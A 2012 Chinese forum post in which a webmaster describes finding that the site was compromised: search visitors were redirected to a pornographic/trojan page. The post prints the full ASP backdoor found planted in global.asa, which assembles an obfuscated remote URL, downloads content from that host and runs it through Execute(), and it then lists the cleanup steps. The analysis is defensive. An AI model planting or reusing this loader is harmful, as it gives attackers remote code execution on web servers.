灯火互联
管理员
管理员
  • 注册日期2011-07-27
  • 发帖数41778
  • QQ
  • 火币41290枚
  • 粉丝1086
  • 关注100
  • 终身成就奖
  • 最爱沙发
  • 忠实会员
  • 灌水天才奖
  • 贴图大师奖
  • 原创先锋奖
  • 特殊贡献奖
  • 宣传大使奖
  • 优秀斑竹奖
  • 社区明星
阅读:3427回复:0

网站安全之谈 从百度点入网站时被跳转的解决办法

楼主#
更多 发布于:2012-08-24 21:54

 这几天网站的排名,一直在不停的浮动。在SEOwhy论坛里发现也有许多的网站,也和我一样都排在了一百页以外去了。 这种情况在SEO业界里被称为 “百度的端午期”。现在距离百度的端午期已经过了整整有一个星期了,很多朋友的网站都开始慢慢恢复排名了,但是俺的网站排名还是被排在了千里之外。有点匪夷所思!无奈为了网站的排名,从头开始为网站做了详细的分析。

  足够的分析,洞察未来!

  首先打开百度,site:自己的网站、发现网站收录有点异常,再仔细翻页一看,我的吗呀!网站竟然被收录一些黄色和色青之类的垃圾页面和标题。从百度搜索进入网站的时候,网站被自动跳转到了http://c.cat777.in/1/a1.html?www这个页面,而且还被360安全提示为木马网站。截图如下:



  我从来没遇到过这种情况啊,这几天自己打开网站也没出现过跳转啊,怎么网站会突然的跳转到色青页面上去了呢?有点搞不明白了。 在网上也搜索了许多相关跳转的文章,发现了都有一个共同的特征,就是收录了些色青黄色之类标题内容的快照,从百度搜索来的自动跳转到黄色的网站上,从原网站登录进来的不会出现跳转(就是自己输入网址打开自己网站不会出现跳转)。 这种种的情况,让我开始怀疑网站是不是被黑了呀,网站是不是被中了木马呀,种种的猜测,也越来越多。

  理清头绪,才能找到问题所在!

  应该从网站的源代码方面开始分析,首先登录FTP把源程序下载到了本地,用 sinesafe网站木马检测了下,发现了三个木马,分别是 global.asa cende.asp about.asp ,其中一个是明文的木马代码,代码如下:

  sub Session_OnStart

  url="h";"t";"t";"p";":";"/";"/";"t";"72";"";".";"q";"u";"3";"4";"5";"6";".";

  Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")

  ObjXMLHTTP.Open "GET",url,False

  ObjXMLHTTP.setRequestHeader "User-Agent", url

  ObjXMLHTTP.send

  GetHtml=ObjXMLHTTP.responseBody

  Set ObjXMLHTTP=Nothing

  set objStream = Server.CreateObject("Adodb.Stream")

  objStream.Type = 1

  objStream.Mode = 3

  objStream.Open

  objStream.Write GetHtml

  objStream.Position = 0

  objStream.Type = 2

  objStream.Charset = "gb2312"

  GetHtml = objStream.ReadText

  objStream.Close

  if instr(GetHtml,"[elvis]") > 0 then Execute(GetHtml)

  end sub

  这些代码很明显不是我网站原有的,找了一位程序设计的朋友咨询了这段代码的作用,说是利用了global.asa 这个特殊的文件,来远程获取内容和标题的作用。 我这才明白过来,原来网站收录了这么多垃圾的黄色页面,就是这个木马搞的鬼,木马从远程服务器获取内容,并吸引百度的蜘蛛来抓取并收录。 种种的原因已经分析的很透彻了,木马欺骗了百度蜘蛛并让蜘蛛大量的收录垃圾页面,对于网站的权重必然会有很大的降权,所以排名才会拒之千里!

  知道了原因,解决就有了办法!

  把刚才检测出来的三个木马文件,删除掉即可。然后把ftp空间的程序清空掉,把删除掉木马的程序文件重新上传到空间,重新打开网站,网站跳转的问题也就解决了。最后打开百度的投诉中心http://tousu.baidu.com/webmaster/add 把网站的快照地址 填写一下 并提交投诉,百度会在一星期内处理,网站排名和收录的问题也会得到最终的完美解决。

  自始至终,解决问题的办法是离不开详细的分析。只有分析的足够,才能足够的解决问题。以上就是我个人分析以及解决问题的办法,希望能帮到更多和我一样的人,帮助别人也是在帮助自己,积德行善,在人生的道路上你才会走的更远!

喜欢0 评分0
游客

返回顶部